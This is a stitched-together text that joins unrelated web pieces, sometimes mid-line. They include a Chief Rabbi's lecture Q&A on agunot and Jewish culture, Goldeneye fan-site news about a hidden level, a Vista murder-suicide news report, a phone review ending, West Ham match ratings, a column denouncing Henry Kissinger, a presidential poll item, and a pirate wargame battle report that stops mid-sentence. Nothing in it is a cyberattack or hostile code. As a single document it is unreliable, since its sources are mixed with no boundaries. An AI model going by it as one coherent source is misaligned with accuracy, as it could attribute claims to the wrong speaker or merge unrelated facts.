your talk was entertaining but that it was also extremely inspiring and thought-provoking. We have time for three questions. We are going to take them all at once. Annabel Reis-Nadav: The question relates to a point that you made later on in your talk, to do with Torah being in the hands of the people, in the hands of the rabbis. How does this impact on halachic cases in practice – agunot is an obvious one – where things possibly seem more to do with the people and people’s understandings and perceptions of things rather than halachic interpretations? Marcus Freed: Chief Rabbi, your statement that there is no Jewish art, sculpture or drama – Chief Rabbi: No, no. Sorry! – you have remedied that – Marcus Freed: Apart from it being bad for business – I really just wanted to ask if it was exactly that straightforward, the distinction between Jewish culture and Greek culture, based on three main examples. One: the extreme focus on visuality that is given in the Gemara Baba Metzia that talks about Rabbi Yochanan and asks the question about “What is male beauty?” – and it goes through different ideas of beautiful men culminating in Rabbi Yochanan’s story. Although it concludes that beautiful men have beards is, I think, the Gemara’s answer! Then there is the whole area of festivals with the culmination of Purim spiels. And there is the mitzvah of menorah: the medhadrin min hamehadrin answer is the visual answer of eight lights rather than one. Or the aesthetics of the etrog. Or the aesthetics of the lulav, and so on. Then, finally, the Gemara in Minocho where Eliyahu HaNavi [Elijah the Prophet] answers the question about who in the market place will gain a place in the olam haba [world to come] and it says that it is the ‘badchanim’, the jesters, who will gain redemption because they make people happy. So, that is my question. Jonathan Shine: Hi. This is my second lecture and my second question. You said earlier in your speech that our perspectives may well be bound by our expectations – something to that effect – which I think is a very profound and wise idea. But surely your and my perspectives are bound by our expectations? You are not only a Jew but also the Chief Rabbi – so surely your perspectives are bound by the attachments that you have to who you are and, therefore, eloquent and brilliant though your words are, you are still confined by who you are in terms of the way that you look at revelation. Chief Rabbi: Ok. Three very good questions. Aguna: how come we have survived that long without that one coming up?! I have to be blunt with you. We could solve the Aguna issue at a stroke. The question is: are we willing to pay that price? I am not being jokey at all; I am being absolutely serious. We can solve the Aguna problem basically by abolishing marriage. We would do what Hamlet said to Ophelia: “I say, we will have no more marriages.” That, in effect, is what the more radical proposals amount to. I do not think that any of them plays, I have to say. But, in effect, the proposals are: (1) A conditional divorce at the time of marriage. (2) The appointment of a shaliach, an agent, to deliver the divorce. In other words, you enact a divorce at the moment that you get married. The effect is to make the marriage conditional, or actually halachically non-existent. I personally believe that I have to explore every other method before any of us could say that that is the nuclear option. But I am very blunt with you. If you take these more radical proposals, they all are tantamount to abolishing marriage. Now, I care very much about the Aguna issue. I care about it not because people have put pressure on. It was almost the first thing I did as Chief Rabbi, it was to set up a review and to address the issue of Aguna. And, just to remind you, I did not see that television programme about it. I think I was on it but I did not see it so I do not know what I said. [Laughter] Listen, I’ve got enough tzores [troubles] already: I have to listen to myself saying these things?! However, we have done the following things. We have created this pre-nuptial agreement – the only one in the world that has the imprimatur of our leading halachic authority in the world. Secondly, we have created communal sanctions and you all know about these. For instance, if you say to a guy that he cannot be called up at his son’s barmitzvah unless he gives his wife a get [divorce]. Such sanctions have, in the last few years, delivered a lot of gittin [divorces]. (3) Here is the key one, and I do not have enough time to explain to you why it is the key one. But, thirdly, we succeeded in getting get legislation in 1996 through Lord Mackay, the previous Lord Chancellor, who was a very wonderful person. However, that law has not been implemented for reasons that have got nothing to do with get. They have to do with the whole thrust of the Mackay proposal which was to move divorce from litigation to mediation – which is, in fact, something I approve of anyway. But the present Lord Chancellor believed that this law was predicated on a profession that does not exist. There are not enough mediators to handle it. And, bye the bye, since get legislation was attached to that as a little clause, it has not yet been implemented. As you know, there have been two attempts to introduce it through private Members’ legislation, but private Members’ legislation does not work because there are two MPs whose idea of fun on a Friday morning is to sit in the House of Commons and say “No” to all private Members’ Bills. They have said “No” to all without exception. I managed to persuade one of them to drop his opposition to the Bill, but even the Leader of the Party to which the other one belonged could not get him to agree. So, we have work to do. Who knows when the General Election is going to be? But, the second it is over we have got to get legislation undertaken and accepted by the Government as part of its legislative programme. The prenuptial agreement and get legislation interact. Anyway, that is get legislation. As you know, I have set up a get and Aguna task force which is doing pilot projects: all sorts. But, most especially, I put my money where my mouth is. I took on personally the toughest Aguna case that we have had in many years and we solved it in eight days. Here I come to the ultimate issue: in Judaism the will is sacrosanct. Human will: God’s will. Therefore, just as marriage has to be consensual, divorce has to be consensual. That is what makes Jewish marital law different from the law of the land in almost any country today in which the court issues the divorce. In Judaism, the husband or the wife issue the divorce. It is always done through the husband to the wife, but either party can initiate it. So, if marriage is consensual, divorce has to be consensual. And that is because Judaism regards the individual human will as more sacrosanct than the will of government. Judaism is the most extreme statement anywhere of human liberty – which means human will. Therefore, if we are going to educate people at all, we will have to educate them not only as to how to make and sustain a marriage, but to educate them as to how dissolve it without unnecessary acrimony. And there is no short cut. There is no way in Jewish law that we can just, as it were, create this new concept, which is hostile to the most basic elements of Judaism, that a divorce can be thrust on you against your will. We just can’t do it. That is going to the foundations. So a supreme court in the United States can go so far through interpretation and no further. It can go quite far – but not all the way. Because there is such a thing as the original constitutional document. That is why, much though I dearly love and admire and esteem Blu Greenberg, she was wrong when she said: “Where is a rabbinic will there is a halachic way.” The short answer is: There may be; there may not be. Here, the greatest halachic minds of the last century, all of whom have looked at this, have not been able to come up with a solution. I truly believe that that does not mean Aguna is insoluble. It is eminently soluble. Eminently. And it will be whenever we get get legislation that 90 per cent of the cases will be solved through that. But the other10 per cent will have to be solved, case by case, individually without taking shortcuts. And look, I have to tell you that I would not be happy with myself – I couldn’t face the Almighty in the time to come – and may it be many years from now – if I had not done every single thing in my power to free Agunot. Believe me, I care about it. I care about it desperately. I have, kein ayin ra, two daughters. I do not want them to be able to say, “Our Dad didn’t do everything he could to enhance the place of women in Judaism.” But, there are certain things we cannot do because they are too much against the grain. So, you just have to accept. I am sorry about that. The second question. Jonathan Shine: remind me. Yes, sure: I see things through my perspective. You see things through yours. That’s ok. You know this wonderful Purim announcement in the Jewish Press of New York? “Announcing to Mr and Mrs Max Goldberg the birth of a son, Dr Irving Goldberg!” The truth is that I was not born a rabbi. I was not born into a family of rabbis and I went to Cambridge to study economics. I then went into teaching philosophy, secular philosophy. I came to the rabbinate very late in life: partly because I wanted to show that you don’t have to speak with a terrible English accent – You know, it was once said of one of the great figures in the London Beth Din of a previous generation that he spoke ten languages – all of them Yiddish! I didn’t want people to think that you have got to be born into it, or speak with a heavy accent, or – as the Red Queen said to Alice in Wonderland – that you have to believe six impossible things before breakfast. I have tried, as honestly as I can, to read every person I can who disagrees with me. I know the works of Nietzsche and Spinoza better than I know the works of Moses Maimonides. I have exposed conjectures and refutations. I have exposed my faith to every possible refutation. I have to take that risk. Life, as they sing in the Nachman of Bratslav song, is a very narrow bridge and the main thing is never to be afraid. This is what I am doing. I am saying: This is not one way of reading Judaism. What I am really doing in these lectures is: Can we let Judaism speak to us, knowing all we do about 21st century science, human science, hermeneutics, socio-biology? Can Judaism still speak to us across almost 4000 years. And I am trying to give a thing which may resonate with you, it may not. But I do not think it is just my private and highly subjective reading of the tradition. So, I know you are thinking of that wonderful quote from Mandy Rice-Davies and the Profumo affair that he would say that, wouldn’t he? But I am trying to take Judaism a little above the “He would, wouldn’t he?” and above what would be said by somebody who never encountered cultures other than his own. I really have taken it on myself, as far as I can – and I hope we all will, to interact with cultures other than our own and we will find in them very beautiful things that we won’t find in Judaism. But, as my next book says – [laughter] – I’ll leave you to read the book! Finally, Marcus. Listen! Of course, you are doing great stuff here. You’re doing the Jewish thing! Marcus, amongst his many talents, is a playwright and dramatist and actor-manager and all the rest of it. He also acts in lovely dramas which bring out ethical issues for the new Money and Morals curriculum. That’s it. Judaism is drama. But it is not drama on the stage. But now we are in a culture where we have to use that instrumentality and I am in favour of using all cultural instrumentalities. What I think Judaism misses most right now is a first-rate religious film director. A first-rate religious poet. You read Yehuda Amichai. You read Amos Oz’s latest book “The Same Sea”, which he gave me a couple of weeks ago. These great minds. How come we are not using them – as you are using them Marcus – to enhance our Jewish values? That is why I have entered into a dialogue with Amos Oz which will become a public dialogue in Israel in May and I would have loved to have had a dialogue with Yehuda Amichai, but he died first. So, therefore, yes. But your ultimate point is so correct. It is the Gemara in Sanhedrin you were quoting that the ben olam haba is the person who cheers other people up. It is the comedian. It is the humorist. I cannot tell you how moving it was when last Wednesday I was addressing the 45 Group. That is Ben Helfgott’s group: Holocaust survivors. They wanted me to speak about my book “Celebrating Life” because it cheered them up. Somebody got up and told me this story of how he had been in a concentration camp and how he had said to his friend throughout their years of surviving that it was humour that had kept them alive. I will one day give you a lecture on Jewish humour. But in the meanwhile that is only done by people with not a great sense of humour: Bergson and Freud being two very obvious examples! But humour, I think, has a spirituality all of its own. So, Marcus, I say: Use your many many wonderful talents to bring a Jewish presence to the arts. I will even give you “Certified under Chief Rabbinate supervision” [laughter] – not that it will do very much for you! And I will finally end with your remark about beards! I don’t know if any of you remember the Gulf War? We were in Israel during the whole of the Gulf War and as the days were coming close, we got gas masks. Everyone had to have a cheder atum, a sealed room, and then put on one’s gas mask. We didn’t know until the 39th and final scud had landed whether any of them would contain chemical or biological weapons. The trouble was that a big announcement was put out on the radio, “If you have a beard, the gas mask doesn’t work!” So, what happens? The first siren sounds. The first scud missile lands. Everyone else, the kids and Elaine, are in the sealed room with their gas masks on – and I’m shaving off my beard! [Laughter] I have to tell you that it was the most wonderful thing – because it was terribly stressful: our kids were young at the time and it was a stressful experience. But as soon as we took off our gas masks, they all shrieked, “Mummy! Who’s that strange man here?!” And Elaine said, “Oh, how romantic! That’s the fellow I got engaged to!” Anyway, the next morning I went out in the streets of Jerusalem to see what I assumed would be a unique sight, never seen in 4,000 years: Jerusalem without beards! Because, after all, the radio told everyone that if you had a beard you should shave it off! Do you think that they were all without beards? A nachtige tag! I was the only shlemiel in the whole of Yerushalayim who listened to instructions. Laila tov! [Good night.] Thank you. [Applause] Jodie Cohen: I am afraid that we have run out of time for this evening but I would just like to round up by thanking the CST for their continued support, and the Office of the Chief Rabbi and all the organisers of this lecture series for their tireless efforts. The next lecture is on the 8th May on the subject of “Jewish identity – The concept of a chosen people”. Finally, will you join me in thanking the Chief Rabbi once more for another inspiring lecture. [Applause]February 16, 2004 : The discovery of the mysterious Citadel arena had quite an impact on the Goldeneye world. And now more developments are happening. The Gameshark codes to access this level loaded the Citadel into the Cradle, with the Cradle's blue sky... But now thanks to Wreck7, the sky from the actual Citadel level is now available. The level itself is still not actually "playable", but at least we can get a great view of everything. Check out the Citadel Sky, as well as a Citadel Tour. DetErest, Webmaster of Detstar.com. February 4, 2004 : At long last, something historical has been found inside Goldeneye's memory... For years, players have known of a long lost test level. The only thing known about this mysterious place, was the name "Citadel". Many rumors and theories have surrounded the Citadel, but none of them could be proven... Until now. Finally, it's possible to visit this rumored arena with Gameshark codes. The level itself is unfinished, but a large portion of it still remains. Unfortunately, it's not playable just yet. But we can still take a tour... SubDrag gives us more on this arena, with Citadel Found. DetErest, Webmaster of Detstar.com. September 24, 2003 : Goldeneye might be 'ancient' by today's standards, but its solid mission design, incredible replay value, addictive Multiplayer, and intriguing mysteries have made it one of the most popular games of all time. So naturally, many die-hard Goldeneye fans have been eagerly awaiting an update for this awesome game. Up until recently, I thought I'd seen every single 'beta' Goldeneye video in existence... But luckily, SubDrag was able to show me something new. He sent in a clip containing some extra info about the infamous 'All Bonds' characters... What do Ronald McDonald, the Citadel, and Osama bin Laden have in common? Well, not a whole hell of a lot, really... Except for the fact that they're all featured in newly posted screenshots by visitors of this site. So, I've been able to post a whole new page of 'Submitted Artwork'. I've also made a small addition to the 'Interesting Stuff' section, with a few more little tidbits. DetErest, Webmaster of Detstar.com. October 3, 2002 : New Layout! Welcome to the 6th version of this Goldeneye website. When asked whether the new design should stay red or switch to Detstar blue, members of the Detstar Forums were almost unanimous in saying that this site should keep a red design. So, I've done just that. I've posted a whole load of new Submitted Artwork. An entire page of it, actually. There's some really cool work by some very talented artists, so be sure to check it out. While on the topic of artwork, Stormcloud75 has created a website for a fictional Goldeneye game on the Nintendo Entertainment system. Check out some of the images that he's made, and find a link to his website on this page: Goldeneye NES. DetErest, Webmaster of Detstar.com. June 6, 2002 : Both the 'All Bonds' and 'Beta Frigate' pages have been completely revised. Some new beta sky codes by Wreck7 have been posted for the 'Beta Surface' and 'Beta Statue'. DetErest, Webmaster of Detstar.com. May 9, 2002 : Super Smash Bros Melee has opened at Detstar. Check it out at http://ssbm.detstar.com/. Another small beta update, this time for the Beta Cradle. More fan artwork has been posted. The newest additions are in Submitted Artwork Page 1. DetErest, Webmaster of Detstar.com. More questions have been posted in 'Ask Det', and more fan art has been added to the Submitted page.NBC 7's Omari Fleming reports on startling new details NBC 7 has uncovered in a triple death investigation in Vista. Investigators now say a man suspected of shooting and killing his ex-girlfriend and her brother before turning the gun on himself had been released from deputies' custody just five hours before the shootings. A man shot and killed his ex-girlfriend and her brother before turning the gun on himself in a murder-suicide in Vista early Monday morning, the San Diego County Sheriff's Department (SDSO) confirmed. Around 10:45 p.m. Sunday, deputies responded to a report of a fight at a home on the 1400 block of Phil Mar Lane in Vista. When they arrived on scene, the people inside the residence refused to cooperate with deputies, SDSO said. The location of the neighborhood is northeast of State Route 78 and southwest of S Santa Fe Avenue. At the same time, deputies arrested a man as he was driving away from that home. He told investigators that he had sustained injuries in an altercation with an ex-girlfriend's brother at their house. According to the sheriff's department, he was taken into custody for driving under the influence of alcohol but due to his injuries, he was released around 1 a.m. Hours later, investigators were called to the same home on Phil Mar Lane just after 5:30 a.m. A friend of someone living at the home said she had arrived to find three people dead inside the house. "They are in different rooms throughout the house," Lt. Greg Rylaarsdam said. The man appeared to have shot and killed his ex-girlfirned and her brother before killing himself after returning to their home following his release, the sheriff's department said. The woman, 52 and her brother, 53, were not identified pending family notification. SDSO said the suspect was a 52-year-old man. Longtime resident Deanna Fortin said
a button. I’m putting Performance under Misc because all it is simply good. I have not encountered lag (save for in the garbage dumpster fire of an app that is Snapchat, which likely needs optimizing on Snapchat’s part, story for another day…) and all of the Material Design flourishes and animations run perfectly. A particular visual change I like to Marshmallow is how apps animate out from their point of tapping. It is very much in Material fashion. As I said in a previous post, I think Google made the right call to go with a Snapdragon 808 processor in this device: “a combination of the Snapdragon 808 SoC and better software optimization, it seems that LG has made a phone that can perform everyday tasks better than Snapdragon 810 devices” — AnandTech’s LG G4 Review In Closing The Nexus 5X sets the standard for what a modern day smartphone running Marshmallow should have: a fingerprint sensor, a Sensor Hub for always-on hotword detection, a good camera, and fast charging. Do not settle on a phone until you can get those features. The Nexus 5X gives you all the needed features of a modern day smartphone at a fair price point. It’s not a steal like the Nexus 4 and 5, but it is fair price for a solid phone.West Ham kicked off their campaign away at Stamford Bridge but unlike last season, there was to be no opening day joy for the Hammers. Chelsea deservedly ran out 2-1 winners with Diego Costa grabbing the winner in the 89th minute after James Collins had equalised for the East London side with 13 minutes remaining. Although the score line suggests that it was a close game, in reality West Ham were second best for the majority of the encounter with Chelsea looking sharper throughout. The worry for West Ham fans will be an injury to record-signing Andre Ayew who joins fellow newcomer Sofiane Feghouli and Manuel Lanzini on the sidelines. Chelsea Chelsea West Ham United West Ham United 2 1 FT Game Details GameCast Lineups and Stats Positives It is difficult to take positives when conceding an 89th minute goal which leads to a 2-1 defeat. Pair this with an inept performance and West Ham fans will struggle to take much from this loss. Negatives Firstly, the issue at right-back has now reached boiling point. West Ham fans have been screaming since last season that Michail Antonio is not a full-back. This was only supposed to be a temporary fix until a permanent solution was found. Antonio still at full-back has been a disaster waiting to happen. And happen it did as he inexplicably decided not to clear the ball in his own area and was caught in possession only to give away a penalty for a stupid foul. Worryingly, things took a further twist as just moments later he was hauled off by Slaven Bilic with Sam Byram replacing him. Manager rating out of 10 4 -- Hammers fans love Bilic but there is no doubt he was at fault for a few things, namely the persistence in playing Antonio at right-back. To then take him off after conceding the penalty was harsh and it should have been Enner Valencia coming off to allow Antonio to move further forward. Player Ratings (1-10; 10=best. Players introduced after 70 minutes get no rating): GK Adrian, 6 -- His sight for the winning goal seemed impeded by James Collins and tangling with Diego Costa after the striker put in a late challenge all culminated because of Adrian's silliness on the ball. DF Michail Antonio, 2 -- Whether Antonio is a natural right-back or not, he should know when to clear the ball when the defence is under pressure. His mistake that led to the penalty was inexcusable. DF James Collins, 7 -- Took his goal superbly and defensively, he had a solid game. He made countless tackles and interceptions and at points he seemed to be the thin line between Chelsea scoring or not. DF Winston Reid, 5 -- Seemed to struggle to clear the ball and looked uneasy throughout the game. Made a couple of good interceptions but when he had the ball at his feet his distribution was dire. Michail Antonio had a disappointing game and was substituted shortly after giving away the penalty for the opening goal. DF Arthur Masuaku, 5 -- A difficult debut for the left-back who often wanted too much time on the ball and his reluctance to clear his lines quickly often resulted in a loss of possession. MF Havard Nordtveit, 4 -- He was a surprise inclusion for me as from what I have seen of him so far I haven't been overly impressed. Looked a little out of his depth and his touch was poor on more than one occasion. The Norwegian international's passing was limited and rarely made it's intended target and he just put in a display that offered so very little. MF Mark Noble, 4 -- The captain was lost throughout the majority of this game. He saw a lot of the ball but didn't seem to know what to do with it as he ran into trouble time and time again. The way he and the entire midfield gave the ball away was criminal. MF Cheikhou Kouyate, 4 -- Kouyate was playing further forward than usual but he just couldn't get into the game and impose himself. Very disappointing. FW Andre Ayew, 4 -- Taken off after 35 minutes with an injury. Hopefully it won't be too serious as West Ham are terribly short of attacking options. Before he came off he wasn't really involved in the game at all. FW Enner Valencia, 2 -- His ball possession was atrocious. Work rate was fine but if West Ham are going to progress as a club, players like Valencia need to be as far away from the first team as possible. FW Andy Carroll, 6 -- He worked his socks off for the entire game but was given nothing to go on. He kept winning headers and putting himself about but there was no support from midfield and his task was futile. Substitutes FW Gokhan Tore, 2 -- He probably didn't expect to have been involved as early as he was when he replaced Ayew but that really isn't an excuse to have been so anonymous. As debuts go, this was shockingly bad. DF Sam Byram, 5 -- Replaced Antonio but most West Ham fans would argue that he should have been starting in the first place. Up against Eden Hazard he found it hard but he kept at the task and surely he will be starting the next league game. MF Dmitri Payet, 7 -- The team looked better the moment the Frenchman came on. A positive impact and a glimpse of just how important he is to this West Ham team.Henry Kissinger How extraordinary to find that, for two straight days, the American media would preoccupy themselves with the question of who had the greater right—in a debate over foreign-policy “experience,” of all things—to quote Henry Kissinger. And how even more extraordinary that it should be the allegedly anti-war Democratic candidate who cited Kissinger with the most deference and, it even seems, the greater accuracy. It began with that increasingly embarrassing process that might be describable (but probably isn’t) as the on-the-job education of Gov. Sarah Palin. On last Thursday’s CBS Evening News, facing the mild-as-milk questioning of Katie Couric, the thriller from Wasilla should have been relieved when the topics stopped being about the Bush doctrine or the thorny matter of Russian-Alaskan propinquity and could be refocused instead on Sen. Barack Obama’s weakness. But, having duly attacked him for being ready to meet with the dictators of Iran and Syria without “preconditions,” she was reminded that her new friend and adviser Henry Kissinger, furnished to her only that very week by the McCain machine, endorses direct diplomacy with both countries. “Are you saying,” Ms. Couric inquired with complete gravity, “that Henry Kissinger is naive?” The governor’s lame response was to say that: “I’ve never heard Henry Kissinger say, ‘Yeah, I’ll meet with these leaders without preconditions being met.’ “ This enabled CBS to tack on a post-interview fact-check moment, confirming that Henry Kissinger did indeed favor such talks with such regimes “without preconditions.” This cannot have been hard to do, since only last week at a forum at George Washington University, consisting of himself and four other former secretaries of state, Kissinger had told his audience: “Well, I am in favor of negotiations with Iran. And one utility of negotiation is to put before Iran our vision of a Middle East, of a stable Middle East, and our notion on nuclear proliferation at a high enough level so that they have to study it.” He then added something that can hardly have startled anyone who ever watched him usurping presidential prerogatives during the Nixon and Ford administrations: “I actually have preferred doing it at the secretary of state level” before, as the New York Times put it with uncharacteristic brusqueness, “he trailed off.” Nonetheless, asked if such talks should be “at a very high level right out of the box,” his response was to say, “Initially, yes,” which is as much as to say “yes.” He then said: “I do not believe we can make conditions for the opening of negotiations,” which would appear to justify the use of the term unconditional in conjunction with “very high level.” “Trailed off” is too kind a phrase even so for the drivel spouted above. Apparently Kissinger believes that the Islamic Republic of Iran is unaware of what we think about its nuclear program, has not studied our position, has not learned anything from its protracted and dishonest negotiations with the European Union and the International Atomic Energy Authority, but might be induced to do so if favored by a sit-down with Condoleezza Rice. Apparently, he does not know that the envoys of the Iranian foreign ministry are only ciphers, easily overridden by the mullah-dominated “Guardian Council” that holds all real power in Tehran. Evidently, he also thinks that Iran is deeply concerned about the maintenance of stability in the region. But then, Kissinger’s last memorable intervention in this area was to tell the readers of the Washington Post op-ed page that neighboring Iraq should be handled with care because it was a Sunni majority country. He has been to some trouble since to erase and rewrite this laughable ignorance on his part from the written record: For a trace of his evasiveness, please check here. Finally, of course, there is Kissinger’s habitual fondness for any form of dictatorship. To have been the friend of Pinochet, Videla, and Suharto, while almost simultaneously fawning on Brezhnev and especially on Mao, is to have been a secretary of state who was soft on fascism—and soft on communism, too! Unconditional talks with Ahmadinejad and Assad? Why not? They are the sort of people with whom he (and Kissinger Associates, the firm that introduces despots to corporations) prefers to do business. Thus for McCain, a full day and night after the exposure of his shaky running mate to such ridicule, to make the same mistake himself in Oxford, Miss., was really something to see. It was even worse if you heard it on radio, as I initially did, than if you saw it on television. (You can hear that geezerish whistle in his pipes much more ominously than when you are looking at his elderly face.) Anyway, on the same question of “without preconditions,” he walked into Obama’s tersely phrased riposte, which was to quote Kissinger in precisely the same way as Couric had already done. McCain looked and perhaps felt a fool at this point, and may have been only slightly cheered up when Kissinger told the Weekly Standardafter the debate that he after all doesn’t, at least not for this precise moment, “recommend presidential high-level talks with Iran.” Which, when compared with his earlier remarks, makes it seem that he has no idea what he currently thinks and should either be apologized to by, or should apologize to, either Sarah Palin or Katie Couric, or conceivably both. But the true farce and disgrace is that this increasingly glassy-eyed old blunderer and war criminal, who has been wrong on everything since he first authorized illicit wiretapping for the Nixon gang, should be cited as an authority by either nominee, let alone by both of them. Meanwhile, I repeat my question from two weeks ago: Does Sen. Obama appreciate, or do his peacenik fans and fundraisers realize, just how much war he is promising them if he is elected? Once again on Sept. 26 in Mississippi—at the end of a week when American and Pakistani forces had engaged in their first actual direct firefight—he repeated his intention of ignoring the Pakistani frontier when it came to hot pursuit of al-Qaida. Out-hawked on this point, as he was nearly out-doved on the Kissinger one, McCain was moderate by comparison. Obama went on to accuse Iran of having built more centrifuges than most people think it has. This allegation has a confrontational logic of its own, above and beyond the minor issues of preconditions and the “level” of diplomacy. I think Obama is to be praised for doing this—always assuming that he does in fact know what he is doing. But as we all press bravely on, the debate would look more intelligent, and be conducted on a higher plane, if it excluded a discredited pseudo-expert who has trampled on human rights, vandalized the U.S. Constitution, deceived Congress, left a trail of disaster and dictatorship behind him, and deserves to be called not a hawk or a dove but a vulture.AP President Barack Obama is the worst president since World War II, according to a plurality of voters in a new poll published Wednesday. The Quinnipiac University survey found 33% of American voters named Obama as the worst while 28% named his predecessor, George W. Bush. "Over the span of 69 years of American history and 12 presidencies, President Barack Obama finds himself with President George W. Bush at the bottom of the popularity barrel," Tim Malloy, assistant director of the Quinnipiac University Poll, said in a statement. Richard Nixon, whose presidency ended in scandal, received only 13% of the vote and Jimmy Carter scored 8%. None of the remaining eight presidents received more than 3%. Asked about the 2012 presidential race, 45% of respondents said the country would be better off if the Republican nominee, Mitt Romney, had won. Slightly less — 38% — said the country would be worse off under a President Romney. "Would Mitt have been a better fit?" Malloy asked. "More voters in hindsight say yes."The only way to carry your dice. A couple months ago I went to Adepticon, a premiere miniature wargaming convention in the Midwest and I played many games and spent lots of money. I’m no stranger to blowing a wad of cash on cool minis but normally I keep my purchases within my wargaming comfort zone (Warmachine/Hordes, Infinity and Guild Ball). However, this year I spent my coin on something completely out of my comfort zone, a historical wargame! The game I bought is called Blood & Plunder and it is from Firelock Games. I have never played a historical mini game before, but the models looked sweet as hell so I took a leap of faith and invested in a new game. Blood & Plunder is a 28mm war-game based around the Golden Age of Pirates (roughly 1650-1730). The game can be played entirely on land with pirates, entirely on the seas with ships or on a land/sea table with a mix of both pirates and ships. My longterm goal is to provide you all with a review of this game but since I have only played a single land battle I am going to share with you today a battle report instead. Enjoy! Our Lists Dan’s English Buccaneers x4 Brethren of the Coast x4 Seadogs Medium Cannon x5 English Militia x5 Free Booters Untested English Militia Commander Dave’s Spanish Caribbean Militia x6 Lanceros x4 Milicianos Indios x4 Milicianos x6 Marineros Seasoned Spanish Militia Commander Start of the game To start the game off each player draws cards equal to the number of units they currently have. Dave and I each brought four units so we each drew a hand of four cards and then each played a single card facedown to determine who would go first. I flipped a 12 of diamonds and he reveled a 10 of clubs so I won the flip and chose to activate first. For my first activation I went with my Forlorn Hope, who were already slightly up the board because they have a “Vanguard” ability which granted them a free move action at the start of the game. The 10 of diamonds I played stated I could have two actions with any trained unit (which they are trained) but I only took one action with them because if a unit moves more than 8″ in a single turn they get exhausted and take a point of fatigue. Fatigue is a mechanic which inflicts negative attributes on units and the negativity scales based on how many fatigue they have. For some players this may be frustrating but for me, I think it enhances the historical aspect of the game. I mean, these aren’t Space Marines, they are pirates, and let’s face it, running on a beach is exhausting! The Spanish weren’t intimidated by my invading Forlorn Hope and they responded by sending some Milicianos Indios directly towards me. I would have preferred to spill Spanish blood but natives bleed just as much when shot. For our second unit activation I dropped a 7 of Diamonds and Dave revealed a 7 of Spades which meant he would get to activate first. Right now the most immediate threat to my Forlorn Hope are the Milicianos Indios but thankfully the rules prevent Dave from activating that unit again this turn. OK, technically Dave could have activated his Miliciano Indios again if he used his nearby Spanish commander to order his Indios but he needed at least two actions to do any damage (one to move into range and one to shoot). So, rather than activate his Commander he decided to instead activate his Marineros. Currently they were out chilling out on the beach on the opposite side of the old Church and were essentially in an irrelevant position. Dave decided to move those beach bums closer to the church where he predicted most of the fighting would converge. Since my Forlorn Hope were directly opposite the majority of the Spanish force, I didn’t want to exert them any further than 8″ up the middle. However, my English Militia & Commander are the tail of my forces and I wanted them to advance up the flank as fast as they could so they could become relevant. I used both of the units actions to move and then activated my Commander to order them once again. By moving 12″ I was able to get into a safe position behind a small cluster of trees but the cost of my hustling more than 8″ this turn was that the unit did end up taking a point of fatigue. For our remaining units we each essentially just moved them forward. The Spanish and English were on a collision course to the middle. Turn Two, more positioning. Weighed down by the medium cannon they are lugging, my seadogs trudge up the board slowly. After seeing my English Militia push up a cannon the crafty Miliciano Indios showed a degree of tactical flexibility that I did not expect savages to have. Rather than charge at me, the Miliciano Indios laterally repositioned themselves behind cover. This puts my English in an awkward spot because shooting enemies behind cover makes it more difficult for me to hit. For the remainder of this turn we each ended up moving the last of our units. My Free Booters positioned themselves inside the corn field and Dave’s Lanceros ended up hustling round the ruins to get a bead on my Forlorn Hope. Turn Three, the fighting begins No Photo Dave and I drew four new cards and he started the turn with a spade which trumped my heart. He activates his Milicianos (with his Tested Spanish Commander) and they move and open a volley of powder and shot at my Forlorn Hope. However, even with the Ruthless leadership of their commander (Ruthless is an abilities that makes shots easier to hit) the poorly equipped Spanish Matchlock Muskets miss their mark completely and I go unscathed. They gain two reload markers for their effort. Having escaped multiple musket shots without a single wound, I felt pretty invincible. For my response, I had the option to shoot either his Milicianos or his Lanceros. Both were sadly outside of my grenade range so I decided to target his Milicianos because that unit was hosting his Spanish commander. I figured, if I could kill his commander than that would be a much more devastating blow than killing some random natives. My Forlorn Hope advanced and unloaded their Buccaneer Guns which killed two Spaniards. In addition to dealing death this volley also inflicted three fatigue on his now remaining two-man-unit (one Miliciano and one Commander) which caused them to be Shaken. My victory was short-lived. While my Forlorn Hope were bragging to one another about the favorable exchange of gunfire they just had with the Spanish Milicianos the sneaky Lanceros pounced. Dave had laid down a club for this activation and clubs gave his Natives three actions. They spent two activations just to get close to me and then spent their third activation to charge me. Charging did inflict a fatigue on the unit but it was a good tradeoff because not only did my unit become engaged but the charge action gives the unit a free attack. Dave rolled six dice for his attacks and he killed all four of my pirates. My horizontal Free Booters opened fire on the murderous Lanceros but all my musket fire only managed to kill one. Either the awful screams of the Forlorn Hope had pierced through my Free Booters psyche and threw off their aim, or the corn crop was blocking their sights and getting in the way; either way they failed to get payback. As you can probably predict, things weren’t going will for the English. At this point I stopped taking pictures and started working on a plan to turn this around. I was currently way down on attrition and I would need some heavy fire power to catch up. Heavy fire power? Wait a second, I have a fricken cannon! Like most of the rules, cannons are pretty easy to understand and follow the same shooting-mechanics as units, basically I just roll a d10 and try to match or exceed a target number. Unlike a regular gun though cannons can cause massive damage when they hit and can also hit targets at a much greater range than small arms. I wanted to shoot those damn Lanceros but sadly my Free Booters were in the way and blocked line of sight so instead I had to settle my sights on the previously shaken Milicianos. Ready.. Aim…FIRE! This small victory was extremely gratifying. As I tried to imagine what it must have been like to be struck by a cannon my mind took me back to that scene from Mel Gibson’s The Patriot. Turn Four, the fighting ends Dave was up on attrition but now no longer had a commander. To start our next turn we drew some more cards and flipped to see who would activate first. Dave won the flip and his first action (of course) was to quickly dispatched my Free Booters with his Lanceros. Once again his dice were on fire and I couldn’t roll a save to…save my life… With so much devastation on my side I started to really appreciate the irony that I had chosen an Untested English Commander to be in my force. Tactically, I picked the Untested Commander because he was 0 points, but narratively he made this whole debacle very interesting. I began to envision my mustachio’d redcoat commander as some bourgeois dandy who one day left his office, hopped on a boat and fancied himself a pirate. And like any inexperienced commander my English dandy did not listen to the advice of his men but instead marched with petulant anger directly at the enemy. My commander didn’t get far before the arrows let loose and struck him and his men down. All that I had left at this point were four Sea Dogs. They did not regret the loss of their sniveling commander but they also knew how “merciful” the Spanish were to prisoners so they chose to flee. Leaving the cannon was a difficult decision but it had been fired recently and would require many activations to reload and time was not something they had. The Sea Dogs were scrappy but even they knew they couldn’t fight off the overwhelming Spanish forces. Also, being on an island meant “running away” wasn’t a long-term solution. With little options left they decided their only chance was to make a run for the church and seek sanctuary. The Spanish are devout Catholics and they hoped that once inside their pursuers would be unwilling to spill blood on holy ground. It wasn’t a long term plan but it was the best option they had. By the time the church was within view one Sea Dog had already died. It was an arrow in the neck that did him in, compliments of the Milicianos Indios. Sancturary was now in sight though and if I could make it just a couple more turns then maybe, just maybe, one of my Sea Dogs would make it out of this mess 